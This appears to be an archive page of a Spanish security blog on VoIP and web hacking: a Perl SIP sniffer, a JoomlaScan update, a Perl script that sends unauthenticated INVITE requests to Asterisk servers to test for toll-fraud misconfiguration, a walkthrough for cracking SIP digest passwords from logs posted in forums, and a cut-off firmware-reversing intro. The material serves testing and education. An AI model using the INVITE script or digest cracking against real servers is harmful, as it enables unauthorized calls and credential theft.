Author Archive

« Older Entries

SIP Monitor

Jueves, abril 4th, 2013

Cuando en un entorno de VoIP gestionas muchos usuarios es muy complicado seguir el log que muestra el CLI para ver exactamente dónde hay un error concreto. Muchas veces debes filtrar algún usuario con determinados problemas, por ejemplo de registro, y la verdad es que se hace bastante engorroso realizar un seguimiento de los paquetes. Por otro lado, también resulta un poco coñazo realizar capturas con Tcpdump para luego descargar en otro equipo con entorno gráfico y analizar posteriormente mediante Wireshark.

Para agilizar un poco este proceso he creado un script en Perl muy sencillo que permite aplicar algunos filtros de búsquedas, mostrando por pantalla únicamente aquellos paquetes que necesitemos.

sipmon

El script no es más que un sniffer que monitoriza el tráfico TCP y/o UDP en los puertos que especifiquemos y que nos mostrará los paquetes de señalización SIP que capture. Como se puede ver en la imagen, podemos realizar las capturas que más nos interesen, por ejemplo:

  • Analizar los paquetes con origen o destino hacia una determinada IP.
  • Buscar paquetes con un usuario de registro específico.
  • Monitorizar TCP y/o UDP.
  • Filtrar por método: INVITE, REGISTER, OPTIONS, etc.

Para poderlo usar necesitamos instalar algunas dependencias:

Net::PcapUtils -> http://search.cpan.org/CPAN/authors/id/T/TI/TIMPOTTER/Net-PcapUtils-0.01.tar.gz
Net::Pcap -> http://search.cpan.org/CPAN/authors/id/K/KC/KCARNUT/Net-Pcap-0.05.tar.gz – apt-get install libnet-pcap-perl
Net::SIP -> http://search.cpan.org/CPAN/authors/id/S/SU/SULLR/Net-SIP-0.68.tar.gz – apt-get install libnet-sip-perl
NetPacket::Ethernet -> http://search.cpan.org/CPAN/authors/id/A/AT/ATRAK/NetPacket-0.04.tar.gz
Net::Address::IP::Local -> http://search.cpan.org/CPAN/authors/id/J/JM/JMEHNLE/net-address-ip-local/Net-Address-IP-Local-0.1.2.tar.gz

Y el script:

#!/usr/bin/perl
# Jose Luis Verdeguer AKA Pepelux <verdeguer@zoonsuite.com>
# Twitter: @pepeluxx

use strict;
use Net::PcapUtils;
use Getopt::Long;
use Net::SIP ':all';
use NetPacket::Ethernet;
use NetPacket::IP;
use NetPacket::TCP;
use Net::Address::IP::Local;

# Do no buffering - flushing output directly
$|=1;

# Declaration of functions
sub f_probe_pcapinit;
sub f_probe_read80211b_func;
sub f_probe_ctrl_c;

# Declaration of global variables
my $g_pcap_err = '';
my $g_cap_descrip;
my ($address, $netmask, $err);
my $ip;
my $ether;
my $tcp;
my $myfilter;
my $myaddress;

# Params
my $dev = '';
my $sudp= 0;
my $stcp = 0;
my $port = '';
my $method = '';
my $user = '';
my $oip = '';
my $h = 0;

# Packet struct
my $len = 38;      # 0x26 -> srcport (2)
my $request = 42;  # 0x2a -> SIP request

sub init() {
	# check params
	my $result = GetOptions ("i=s" => \$dev,
				 "p=s" => \$port,
				 "m=s" => \$method,
				 "udp+" => \$sudp,
				 "tcp+" => \$stcp,
				 "user=s" => \$user,
				 "ip=s" => \$oip,
				 "help+" => \$h,
				 "h+" => \$h);

	help() if ($h eq 1);

	my $login = (getpwuid $>);
	die "must run as root" if $login ne 'root';

	$myaddress = Net::Address::IP::Local->public;

	my $proto = '';
	my $port1 = '';
	my $port2 = '';
	my $addr1 = '';
	my $addr2 = '';

	if ($sudp eq 0 && $stcp eq 0) {
		$sudp = 1;
		$stcp = 1;
		$proto = "(udp || tcp)";
		$port1 = "(dst port 5060 || dst port 5061)" if ($port eq "");
		$port2 = "(src port 5060 || src port 5061)" if ($port eq "");
	}
	else {
		if ($sudp eq 1) {
			$proto = "udp";
			$port1 = "dst port 5060" if ($port eq "");
			$port2 = "src port 5060" if ($port eq "");
		}
		else {
			$proto = "tcp";
			$port1 = "dst port 5061" if ($port eq "");
			$port2 = "src port 5061" if ($port eq "");
		}
	}

	if ($port ne "") {
		$port1 = "dst port $port";
		$port2 = "src port $port";
	}

	if ($oip eq "") {
		$addr1 = "dst $myaddress && $port1";
		$addr2 = "src $myaddress && $port2";
	}
	else {
		$addr1 = "(dst $myaddress && $port1 && src $oip)";
		$addr2 = "(src $myaddress && $port2 && dst $oip)";
	}

	$dev = Net::Pcap::lookupdev(\$err) if ($dev eq "");

	if (Net::Pcap::lookupnet($dev, \$address, \$netmask, \$err)) {
	    die 'Unable to look up device information for ', $dev, ' - ', $err;
	}

	$myfilter = "$proto && (($addr1) || ($addr2))";

	print "Interface: $dev ($myaddress)\n";
	print "Filter: $myfilter\n";

	if ($method eq "") { print "Method: ALL\n"; }
	else { print "Method: " . uc($method) . "\n"; }

        print "\n";

	f_probe_pcapinit;
}

sub f_probe_pcapinit {
	$g_cap_descrip = Net::Pcap::open_live($dev, 1500, 0, 0, \$err);

	unless (defined $g_cap_descrip) {
	    die 'Unable to create packet capture on device ', $dev, ' - ', $err;
        }

        # Create filter.
	my $filter;
	Net::Pcap::compile($g_cap_descrip, \$filter, $myfilter, 0, $netmask) && die 'Unable to compile packet capture filter';
	Net::Pcap::setfilter($g_cap_descrip, $filter) && die 'Unable to set packet capture filter';

	# Initiate endless packet gathering.
	Net::Pcap::loop($g_cap_descrip, -1, \&f_probe_read80211b_func , '' );
};

sub f_probe_read80211b_func {
	my($data, $header, $packet) = @_;
	$data = unpack('H*',$packet);

	$ether = NetPacket::Ethernet::strip($packet);
	$ip = NetPacket::IP->decode($ether);
	$tcp = NetPacket::TCP->decode($ip->{'data'});

	if (len($data) > 12) {
		my $sipdata = siprequest($data);
		log_data($sipdata) if (ascii2hex(substr($sipdata, 0, 1)) ne "00");
	}
};

sub siprequest {
	my $data = shift;
	$data = substr($data, $request*2);

	return hex2ascii($data);
};

sub len {
	my $data = shift;
	$data = substr($data, $len*2, 4);

	return hex($data);
};

sub log_data {
	my $sip_pkt = Net::SIP::Packet->new_from_string(@_);
	my $req = Net::SIP::Packet->new_from_string($sip_pkt->as_string);

	my $from = $sip_pkt->get_header('from');
	{
		my @values = split(';', $from);
		$from = $values[0];
	}

	my $to = $sip_pkt->get_header('to');
	{
		my @values = split(';', $to);
		$to = $values[0];
	}

	if ($method eq "" || $req->method eq uc($method)) {
		if ($user eq '' || $from =~ /$user/i || $to =~ /$user/i) {
			print $ip->{'src_ip'}.':'.$tcp->{'src_port'}.' => '.$ip->{'dest_ip'}.':'.$tcp->{'dest_port'}."\t(".$req->method.") ";
			if($sip_pkt->is_response()) { print "\tResponse: ".$req->code; }
			else { print "\tRequest"; }
			print "\n";
			print $sip_pkt->as_string."\n\n";
		}
	}
}

sub ascii2hex($) {
	(my $str = shift) =~ s/(.|\n)/sprintf("%02lx", ord $1)/eg;
	return $str;
};

sub hex2ascii($) {
	(my $str = shift) =~ s/([a-fA-F0-9]{2})/chr(hex $1)/eg;
	return $str;
};

sub help {
	print qq {
Usage:  $0 [options]

    == Options ==
      -i <iface>       = interface (default try to get automatically)
      -p <port>        = port (default 5060/udp and 5061/tcp)
      -m <method>      = scan only a method (default show all: REGISTER, INVITE, ...)
      -udp             = scan only UDP (default UDP + TCP)
      -tcp             = scan only TCP (default UDP + TCP)
      -ip <addr>       = filter remote IP (default show all)
      -user <data>     = filter user in 'To' or 'From' (default show all)
      -h, -help        = This help

    == Examples ==
      $0 -udp -ip "80.80.80.0/24" -p 5080
      $0 -i eth0 -user "mysipuser"
      $0 -ip "80.80.80.0/24" -user "mysipuser"

};

	exit 1;
};

init();

Supongamos el caso de que queremos monitorizar el registro de un usuario ‘pruebas’. Podemos hacer lo siguiente:


root@sip:~# perl sipmon.pl -m REGISTER -user "pruebas"
Interface: eth0 (X.X.224.7)
Filter: (udp || tcp) && ((dst X.X.224.7 && (dst port 5060 || dst port 5061)) || (src X.X.224.7 && (src port 5060 || src port 5061)))
Method: REGISTER

X.X.194.138:5080 => X.X.224.7:5060 (REGISTER) Request
REGISTER sip:sip.myserver.com SIP/2.0
Via: SIP/2.0/UDP 192.168.200.2:5080;branch=z9hG4bK85544896f396b9b8
From: "pruebas" <sip:pruebas204@sip.myserver.com>;tag=2d3ce7700b58c4d9
To: <sip:pruebas204@sip.myserver.com>
Contact: <sip:pruebas204@192.168.200.2:5080;transport=udp>
Supported: path
Authorization: Digest username="pruebas204", realm="sip", algorithm=MD5, uri="sip:sip.myserver.com", nonce="31dff2d2", response="a4a80fd271da7fae67b2d7f070d99674"
Call-ID: ec2eede904f23ba9@192.168.1.146
CSeq: 47423 REGISTER
Expires: 120
User-Agent: Grandstream GXP2000 1.2.5.3
Max-Forwards: 70
Allow: INVITE,ACK,CANCEL,BYE,NOTIFY,REFER,OPTIONS,INFO,SUBSCRIBE,UPDATE,PRACK,MESSAGE
Content-Length: 0

X.X.224.7:5060 => X.X.194.138:5080 (REGISTER) Response: 401
SIP/2.0 401 Unauthorized
Via: SIP/2.0/UDP 192.168.200.2:5080;branch=z9hG4bK85544896f396b9b8;received=X.X.194.138;rport=5080
From: "pruebas" <sip:pruebas204@sip.myserver.com>;tag=2d3ce7700b58c4d9
To: <sip:pruebas204@sip.myserver.com>;tag=as39c9e1bd
Call-ID: ec2eede904f23ba9@192.168.1.146
CSeq: 47423 REGISTER
Server: sip
Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY, INFO, PUBLISH
Supported: replaces, timer
WWW-Authenticate: Digest algorithm=MD5, realm="sip", nonce="2f022db4"
Content-Length: 0

X.X.194.138:5080 => X.X.224.7:5060 (REGISTER) Request
REGISTER sip:sip.myserver.com SIP/2.0
Via: SIP/2.0/UDP 192.168.200.2:5080;branch=z9hG4bKa5b835310120bb10
From: "pruebas" <sip:pruebas204@sip.myserver.com>;tag=2d3ce7700b58c4d9
To: <sip:pruebas204@sip.myserver.com>
Contact: <sip:pruebas204@192.168.200.2:5080;transport=udp>
Supported: path
Authorization: Digest username="pruebas204", realm="sip", algorithm=MD5, uri="sip:sip.myserver.com", nonce="2f022db4", response="7cc357c57b0198d9bdbcad0cf2870710"
Call-ID: ec2eede904f23ba9@192.168.1.146
CSeq: 47424 REGISTER
Expires: 120
User-Agent: Grandstream GXP2000 1.2.5.3
Max-Forwards: 70
Allow: INVITE,ACK,CANCEL,BYE,NOTIFY,REFER,OPTIONS,INFO,SUBSCRIBE,UPDATE,PRACK,MESSAGE
Content-Length: 0

X.X.224.7:5060 => X.X.194.138:5080 (REGISTER) Response: 200
SIP/2.0 200 OK
Via: SIP/2.0/UDP 192.168.200.2:5080;branch=z9hG4bKa5b835310120bb10;received=X.X.194.138;rport=5080
From: "pruebas" <sip:pruebas204@sip.myserver.com>;tag=2d3ce7700b58c4d9
To: <sip:pruebas204@sip.myserver.com>;tag=as39c9e1bd
Call-ID: ec2eede904f23ba9@192.168.1.146
CSeq: 47424 REGISTER
Server: sip
Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY, INFO, PUBLISH
Supported: replaces, timer
Expires: 120
Contact: <sip:pruebas204@192.168.200.2:5080;transport=udp>;expires=120
Date: Thu, 04 Apr 2013 20:11:14 GMT
Content-Length: 0

Como podemos ver en el resultado, únicamente nos aparece el tráfico de la señalización SIP correspondiente a ese usuario, algo bastante útil si tenemos cientos de clientes conectados. En este caso:

Cliente -> Servidor (REGISTER)
Servidor -> Cliente (401 Unauthorized)
Cliente -> Servidor (REGISTER)
Servidor -> Cliente (200 OK)

Tags: , , , ,
Posted in Asterisk, VoIP | 3 Comments »

JoomlaScan v1.5

Domingo, marzo 17th, 2013

La verdad es que la gente de Joomla trabaja muy rápido.  Bien es cierto que por falta de tiempo reviso este script cada ciertos meses, pero en apenas 10 meses han aparecido más de 5 versiones nuevas (bueno, mejor dicho, revisiones, puesto que versiones realmente ha sido una).

En esta nueva actualización de JoomlaScan se reconoce la versión 3.1.0-beta1 de Joomla! pasando por las últimas de 2.5.x y las primeras de 3.0.x

joomlascan15

La verdad es que desde que apareció la versión 2.5 la identificación de la versión de Joomla! se reduce a consultar un archivo, concretamente http://tu.joomla.com/administrator/manifest/files/joomla.xml donde podemos localizar la versión exacta:

<version>3.0.3</version>

Aunque bien es cierto que en versiones anteriores ha podido ser un quebradero de cabeza, teniendo que analizar la existencia y/o contenido de diferentes ficheros, que aparecen y desaparecen en nuevas revisiones, todo ello previo estudio de los repositorios de Joomla!.

Aprovechando los retoques, he actualizado también algunos exploits nuevos, obteniendo los enlaces de http://www.exploit-db.com y http://www.securityfocus.com

Para descargarlo: http://pepelux.org/download.php?f=scripts/joomlascan.tgz

O si ya lo tienes instalado:

$ perl joomlascan.pl -update

Saludos!

Tags: , ,
Posted in Escaner web, Exploits, Hacking, Joomla | 6 Comments »

Asterisk – INVITE attack (II)

Sábado, enero 5th, 2013

Hace casi un año (cómo pasa el tiempo) escribí una entrada sobre cómo es posible realizar llamadas a través de un sistema de VoIP sin disponer de ninguna cuenta en el sistema, si se diera el caso de que el servidor no está bien configurado. Si no has leído la entrada, la puedes ver aquí: Asterisk – INVITE attack

Tal y como comenté, en la web de Sinologic podemos comprobar si nuestro servidor es vulnerable ante estos ataques, pero para una mejor comprensión, he programado un pequeño script con el que podemos comprobarlo:

#!/usr/bin/perl
# -=-=-=-=-=-=-=
# SipINVITE v1.0
# -=-=-=-=-=-=-=
#
# Pepelux <pepelux[at]gmail[dot]com>

use warnings;
use strict;
use IO::Socket;
use NetAddr::IP;
use Getopt::Long;
use Digest::MD5;

my $host = '';	   # host
my $port = '';	   # port
my $number = '';	# number to call

my $lport = "5061";
my $myip = "192.168.2.9";

sub init() {
	if ($^O =~ /Win/) {system("cls");}else{system("clear");}

	# check params
	my $result = GetOptions ("h=s" => \$host,
	                         "n=s" => \$number,
	                         "p=s" => \$port);

	help() if ($host eq "" || $number eq "");

	$port = "5060" if ($port eq "");

	invite($host, $port, $number);

	exit;
}

sub invite {
	my $ip = shift;
	my $nport = shift;
	my $user = shift;

	my $sc = new IO::Socket::INET->new(PeerPort=>$nport, Proto=>'udp', PeerAddr=>$ip, Timeout => 2);

	$lport = $sc->sockport();

	my $branch = &generate_random_string(71, 0);
	my $callerid = &generate_random_string(32, 1);

	my $msg = "INVITE sip:".$number."@".$ip.";transport=UDP SIP/2.0\n";
	$msg .= "Supported: \n";
	$msg .= "Allow: INVITE, ACK, OPTIONS, CANCEL, BYE\n";
	$msg .= "Contact: $user <sip:".$user."@".$myip.":$lport>\n";
	$msg .= "Via: SIP/2.0/UDP $myip:$lport;branch=$branch\n";
	$msg .= "Call-id: $callerid\n";
	$msg .= "Cseq: 1 INVITE\n";
	$msg .= "From: 100 <sip:100@".$myip.">;tag=ddb044893807095baf1cf07269f03118\n";
	$msg .= "Max-forwards: 70\n";
	$msg .= "To: <sip:".$user."@".$ip.">\n";
	$msg .= "Content-length: 123\n\n";
	$msg .= "v=0\n";
	$msg .= "o=anonymous 1312841870 1312841870 IN IP4 $ip\n";
	$msg .= "s=session\n";
	$msg .= "c=IN IP4 $ip\n";
	$msg .= "t=0 0\n";
	$msg .= "m=audio 2362 RTP/AVP 0\n\n";

	print $sc $msg;

	print "\nSending:\n=======\n$msg\n\n";

	my $data = "";
	my $server = "";
	my $useragent = "";
	my $line = "";

	LOOP: {
		while (<$sc>) {
			$line = $_;

			if ($line =~ /[Ss]erver/ && $server eq "") {
	   		$line =~ /[Ss]erver\:\s(.+)\r\n/;

		   	if ($1) {
					$server = $1;
				}
			}

			if ($line =~ /[Uu]ser\-[Aa]gent/ && $useragent eq "") {
	   		$line =~ /[Uu]ser\-[Aa]gent\:\s(.+)\r\n/;

		   	if ($1) {
					$useragent = $1;
				}
			}

			$data .= $line;

			if ($line =~ /^\r\n/) {
				last LOOP;
			}
		}
	}

	print "\nReceiving:\n=========\n$data\n\n";
}

sub generate_random_string {
	my $length_of_randomstring = shift;
	my $only_hex = shift;
	my @chars;

	if ($only_hex == 0) {
		@chars = ('a'..'z','0'..'9');
	}
	else {
		@chars = ('a'..'f','0'..'9');
	}
	my $random_string;
	foreach (1..$length_of_randomstring) {
		$random_string.=$chars[rand @chars];
	}
	return $random_string;
}

sub help {
	print qq{
Usage:  $0 -h <host> [options]

== Options ==
-n <integer>     = Number to call
-p <integer>     = Remote SIP port (default: 5060)

== Examples ==
\$$0 -h 192.168.0.1 -n 100
\$$0 -h 192.168.0.1 -n 666666666 -p 5060

};

	exit 1;
}

init();

El script únicamente admite un host a escanear, pero no sería muy complicado modificarlo para poder realizar escaneos de rangos para buscar centralitas vulnerables.

Tras ejecutarlo, en caso de que seamos vulnerables, veremos algo así:

pepelux@debian:~$ perl sipINVITE.pl -h 192.168.2.9 -n 657xxxxxx

Sending:
=======
INVITE sip:657xxxxxx@192.168.2.9;transport=UDP SIP/2.0
Supported:
Allow: INVITE, ACK, OPTIONS, CANCEL, BYE
Contact: 657xxxxxx <sip:657xxxxxx@192.168.2.9:41676>
Via: SIP/2.0/UDP 192.168.2.9:41676;branch=urt5wo9d7i28sphm1i381q8udgvblgps4i0bahrc3981cjtqc3ls2y0v6wr8bqafhq7k2mq
Call-id: 77bc64f6f7b24ffd2b2a41d454f48aa5
Cseq: 1 INVITE
From: 100 <sip:100@192.168.2.9>;tag=ddb044893807095baf1cf07269f03118
Max-forwards: 70
To: <sip:657xxxxxx@192.168.2.9>
Content-length: 123

Receiving:
=========
SIP/2.0 100 Trying
Via: SIP/2.0/UDP 192.168.2.9:41676;branch=urt5wo9d7i28sphm1i381q8udgvblgps4i0bahrc3981cjtqc3ls2y0v6wr8bqafhq7k2mq;received=192.168.2.9
From: 100 <sip:100@192.168.2.9>;tag=ddb044893807095baf1cf07269f03118
To: <sip:657xxxxxx@192.168.2.9>
Call-ID: 77bc64f6f7b24ffd2b2a41d454f48aa5
CSeq: 1 INVITE
Server: Asterisk PBX 1.8.5.0
Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY, INFO, PUBLISH
Supported: replaces, timer
Contact: <sip:657xxxxxx@192.168.2.9:5060>
Content-Length: 0

Como se puede apreciar, la respuesta por parte del servidor es un ’100 Trying’, lo que nos indica que la petición ha sido aceptada y está intentando efectuar la llamada. En caso de que el número que hayamos indicado sea válido, simplemente se ejecutará la llamada. Si ponemos un número inexistente, no se efectuará, evidentemente … pero la respuesta nos servirá para verificar que la máquina es vulnerable.

En caso de que la configuración del contexto default sea correcta y no permita realizar llamadas veremos algo así:

pepelux@debian:~$ perl sipINVITE.pl -h 192.168.2.9 -n 657xxxxxx

Sending:
=======
INVITE sip:657xxxxxx@192.168.2.9;transport=UDP SIP/2.0
Supported:
Allow: INVITE, ACK, OPTIONS, CANCEL, BYE
Contact: 657xxxxxx <sip:657xxxxxx@192.168.2.9:32986>
Via: SIP/2.0/UDP 192.168.2.9:32986;branch=m63uj1c2604cuy4vi6gv00wp2wrz0gfxd6pk2hehydmxf7mkgik3zh8pjjlzyobbw0vrb0z
Call-id: 5265813dee1ea0f4af3672f83c1694ea
Cseq: 1 INVITE
From: 100 <sip:100@192.168.2.9>;tag=ddb044893807095baf1cf07269f03118
Max-forwards: 70
To: <sip:657xxxxxx@192.168.2.9>
Content-length: 123

v=0
o=anonymous 1312841870 1312841870 IN IP4 192.168.2.9
s=session
c=IN IP4 192.168.2.9
t=0 0
m=audio 2362 RTP/AVP 0

Receiving:
=========
SIP/2.0 404 Not Found
Via: SIP/2.0/UDP 192.168.2.9:32986;branch=m63uj1c2604cuy4vi6gv00wp2wrz0gfxd6pk2hehydmxf7mkgik3zh8pjjlzyobbw0vrb0z;received=192.168.2.9
From: 100 <sip:100@192.168.2.9>;tag=ddb044893807095baf1cf07269f03118
To: <sip:657xxxxxx@192.168.2.9>;tag=as084cea9d
Call-ID: 5265813dee1ea0f4af3672f83c1694ea
CSeq: 1 INVITE
Server: Asterisk PBX 1.8.5.0
Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY, INFO, PUBLISH
Supported: replaces, timer
Content-Length: 0

Obtendremos un ’404 Not Found’. Y en el log del Asterisk veremos:

 == Using SIP RTP CoS mark 5
[Jan  5 19:12:45] NOTICE[14000]: chan_sip.c:22001 handle_request_invite: Call from '' (192.168.2.9:52838) to extension '657xxxxxx' rejected because extension not found in context 'default'.

Recordemos que mediante la variable allowguest (que por defecto viene a ‘yes’) podemos permitir el uso de peticiones anónimas. A pesar de tener bien configurado el contexto default, si allowguest=yes podremos realizar llamadas a extensiones internas del sistema. Por ejemplo:

Sending:
=======
pepelux@debian:~$ perl sipINVITE.pl -h 192.168.2.9 -n 100

Sending:
=======
INVITE sip:100@192.168.2.9;transport=UDP SIP/2.0
Supported:
Allow: INVITE, ACK, OPTIONS, CANCEL, BYE
Contact: 100 <sip:100@192.168.2.9:40486>
Via: SIP/2.0/UDP 192.168.2.9:40486;branch=425cfal377g9478pezv1akbcr336wax0l0r7ft25ukumtksthinkdh6ipmui23p59mbhuqa
Call-id: 497cd8864668cd7580dace0dd3f357f2
Cseq: 1 INVITE
From: 100 <sip:100@192.168.2.9>;tag=ddb044893807095baf1cf07269f03118
Max-forwards: 70
To: <sip:100@192.168.2.9>
Content-length: 123

v=0
o=anonymous 1312841870 1312841870 IN IP4 192.168.2.9
s=session
c=IN IP4 192.168.2.9
t=0 0
m=audio 2362 RTP/AVP 0

Receiving:
=========
SIP/2.0 100 Trying
Via: SIP/2.0/UDP 192.168.2.9:40486;branch=425cfal377g9478pezv1akbcr336wax0l0r7ft25ukumtksthinkdh6ipmui23p59mbhuqa;received=192.168.2.9
From: 100 <sip:100@192.168.2.9>;tag=ddb044893807095baf1cf07269f03118
To: <sip:100@192.168.2.9>
Call-ID: 497cd8864668cd7580dace0dd3f357f2
CSeq: 1 INVITE
Server: Asterisk PBX 1.8.5.0
Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY, INFO, PUBLISH
Supported: replaces, timer
Contact: <sip:100@192.168.2.9:5060>
Content-Length: 0

Sin embargo, si establecemos allowguest=no nos solicitará autenticación y no nos permitirá llamar:

Sending:
=======
pepelux@debian:~$ perl sipINVITE.pl -h 192.168.2.9 -n 100

INVITE sip:100@192.168.2.9;transport=UDP SIP/2.0
Supported:
Allow: INVITE, ACK, OPTIONS, CANCEL, BYE
Contact: 100 <sip:100@192.168.2.9:46225>
Via: SIP/2.0/UDP 192.168.2.9:46225;branch=elh0iukgef1rnodg0erpe6btllyka0lfvzwkwkphfck1heu9zw4hvw8s6fo5r1935l93v75
Call-id: cfd8b3380a3532be7ac7650026fd23fb
Cseq: 1 INVITE
From: 100 <sip:100@192.168.2.9>;tag=ddb044893807095baf1cf07269f03118
Max-forwards: 70
To: <sip:100@192.168.2.9>
Content-length: 123

v=0
o=anonymous 1312841870 1312841870 IN IP4 192.168.2.9
s=session
c=IN IP4 192.168.2.9
t=0 0
m=audio 2362 RTP/AVP 0

Receiving:
=========
SIP/2.0 401 Unauthorized
Via: SIP/2.0/UDP 192.168.2.9:46225;branch=elh0iukgef1rnodg0erpe6btllyka0lfvzwkwkphfck1heu9zw4hvw8s6fo5r1935l93v75;received=192.168.2.9
From: 100 <sip:100@192.168.2.9>;tag=ddb044893807095baf1cf07269f03118
To: <sip:100@192.168.2.9>;tag=as58329940
Call-ID: cfd8b3380a3532be7ac7650026fd23fb
CSeq: 1 INVITE
Server: Asterisk PBX 1.8.5.0
Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY, INFO, PUBLISH
Supported: replaces, timer
WWW-Authenticate: Digest algorithm=MD5, realm="asterisk", nonce="59b26d87"
Content-Length: 0

En este caso recibimos un ’401 Unauthorized’ indicándonos la necesidad de autenticarnos para poder realizar llamadas.

 

Tags: , ,
Posted in Asterisk, Hacking, VoIP | No Comments »

Asterisk SIP cracking

Sábado, agosto 11th, 2012

Hay mucha gente que dado un problema en el registro con su Asterisk no duda en pegar el log entero en un foro para ver si alguien le puede ayudar con su problema. Como en el log no se ve ninguna contraseña, se supone que es seguro pegarlo, ya que no aparece en claro. Me refiero a algo así:



<--- SIP read from UDP:X.X.X.X:5064 --->
REGISTER sip:sip.server.com SIP/2.0
Via: SIP/2.0/UDP 192.168.1.34:5064;branch=z9hG6bK7786e6f33d4b2d9d
From: "pruebas" <sip:pruebas@sip.server.com>;tag=2d3ce7700b58c2d9
To: <sip:pruebas@sip.server.com>
Contact: <sip:pruebas@192.168.1.34:5064;transport=udp>
Supported: path
Call-ID: 83a422169dd5328e@192.168.1.34
CSeq: 40001 REGISTER
Expires: 120
User-Agent: Grandstream GXP2000 1.2.5.3
Max-Forwards: 70
Allow: INVITE,ACK,CANCEL,BYE,NOTIFY,REFER,OPTIONS,INFO,SUBSCRIBE,UPDATE,PRACK,MESSAGE
Content-Length: 0

<------------->
--- (13 headers 0 lines)
---Sending to X.X.X.X:5064 (no NAT)
<--- Transmitting (NAT) to X.X.X.X:5064 --->
SIP/2.0 401 Unauthorized
Via: SIP/2.0/UDP 192.168.1.34:5064;branch=z9hG6bK7786e6f33d4b2d9d;received=X.X.X.X;rport=5064
From: "pruebas" <sip:pruebas@sip.server.com>;tag=2d3ce7700b58c2d9
To: <sip:pruebas@sip.server.com>;tag=as6f72938e
Call-ID: 83a422169dd5328e@192.168.1.34
CSeq: 40001 REGISTERServer: sip3
Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY, INFO, PUBLISH
Supported: replaces, timer
WWW-Authenticate: Digest algorithm=MD5, realm="sip3", nonce="5f56a903"
Content-Length: 0

<------------>
Scheduling destruction of SIP dialog '83a422169dd5328e@192.168.1.34' in 32000 ms (Method: REGISTER)
<--- SIP read from UDP:X.X.X.X:5064 --->
REGISTER sip:sip.server.com SIP/2.0
Via: SIP/2.0/UDP 192.168.1.34:5064;branch=z9hG6bK7786e6f33d4b2d9d
From: "pruebas" <sip:pruebas@sip.server.com>;tag=2d3ce7700b58c2d9
To: <sip:pruebas@sip.server.com>
Contact: <sip:pruebas@192.168.1.34:5064;transport=udp>
Supported: path
Authorization: Digest username="pruebas", realm="sip3", algorithm=MD5, uri="sip:sip.server.com",
nonce="5f56a903", response="f43b50de15bb07f909787dfb8ab487f8"
Call-ID: 83a422169dd5328e@192.168.1.34
CSeq: 40002 REGISTER
Expires: 120User-Agent: Grandstream GXP2000 1.2.5.3
Max-Forwards: 70
Allow: INVITE,ACK,CANCEL,BYE,NOTIFY,REFER,OPTIONS,INFO,SUBSCRIBE,UPDATE,PRACK,MESSAGE
Content-Length: 0

<------------->
--- (14 headers 0 lines)
---Sending to X.X.X.X:5064 (NAT)
<--- Transmitting (NAT) to X.X.X.X:5064 --->
SIP/2.0 200 OK
Via: SIP/2.0/UDP 192.168.1.34:5064;branch=z9hG6bK7786e6f33d4b2d9d;received=X.X.X.X;rport=5064
From: "pruebas" <sip:pruebas@sip.server.com>;tag=2d3ce7700b58c2d9
To: <sip:pruebas@sip.server.com>;tag=as6f72238e
Call-ID: 83a422169dd5328e@192.168.1.34
CSeq: 40002 REGISTER
Server: sip3
Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY, INFO, PUBLISH
Supported: replaces, timer
Expires: 120
Contact: <sip:pruebas@192.168.1.34:5064;transport=udp>;expires=120
Date: Sat, 11 Aug 2012 08:59:34 GMT
Content-Length: 0

<------------>

sip3*CLI>


Antes de ver cómo podemos sacar partido a esta información, que el usuario tan amablemente nos publica en los foros, vamos a ver cómo se hace un registro en un Asterisk.



En primer lugar mandamos un paquete de registro al servidor de VoIP, indicando nuestro deseo de registrar un terminal. Para ello le enviaremos una serie de datos (a través de un paquete REGISTER) , pero nunca nuestra contraseña.


Tras mandar la petición al servidor, este nos devolverá un error ‘401 Unauthorized‘ pasándonos 2 valores que necesitaremos para completar el registro. Estos valores son: ‘realm‘ y ‘nonce‘. Acto seguido, generaremos un MD5 (indicándolo como valor de la variable response) que nos servirá para registrarnos, enviando un nuevo paquete REGISTER .  El servidor analizará ese response y nos devolverá un 200 si todo va bien, o un nuevo 401 en caso de que la contraseña sea incorrecta.


¿Y cómo generamos ese MD5 que realizará la validación? Pues de la siguiente forma:




response = md5(A:nonce:B)

-> nonce recordemos que nos lo facilita el servidor tras el primer REGISTER

A = md5(user:realm:pass)

-> user es nuestro usuario, que podemos ver, en claro, en el paquete generado en el primer REGISTER
-> realm también nos lo facilita el servidor tras el primer REGISTER
-> pass es la contraseña del usuario que desconocemos

B = md5(REGISTER:uri)

-> REGISTER es esa palabra tal cual
-> uri la podemos ver también en el primer paquete y tiene la forma 'sip:host.com'


De manera que con el log que nos han posteado tenemos todos los ingredientes, incluyendo el ‘response’, que es el MD5 final con la contraseña incluida y, lo único que desconocemos de todo esto, es la pass, algo que podremos intentar crackear teniendo el resto de datos.


Analicemos:



A = md5(user:realm:pass)
A = md5(pruebas:sip3:???)

B = md5(REGISTER:uri)
B = md5(REGISTER:sip:sip.server.com)
B = b726873895519048d1838bf7b4d78df6

response = md5(A:nonce:B)
response = md5(md5(pruebas:sip3:???):5f56a903:b726873895519048d1838bf7b4d78df6)
response = f43b50de15bb07f909787dfb8ab487f8  <- según la captura


Con un simple crackeador de MD5 podremos averiguar la contraseña de ese usuario que ha publicado el log en un foro.


A ver quién averigua la contraseña del ejemplo, que es de las fáciles :)


Tags: , , ,
Posted in Asterisk, Cracking, VoIP | No Comments »

Reverseando el firmware de mi cámara IP

Miércoles, agosto 8th, 2012

Siempre me ha parecido fascinante cómo la gente es capaz de buscar fallos de seguridad en los firmware de dispositivos embebidos, como móviles, cámaras, routers, etc. Al final he sacado algo de tiempo y aprovechando que tengo por aquí una cámara IP que compré hace tiempo en Dealxtreme, me he puesto a leer manuales y a intentar sacar información del firmware de mi cámara.



Evidentemente la cámara no es necesaria pero ha sido la causante de que me decantara por este firmware.


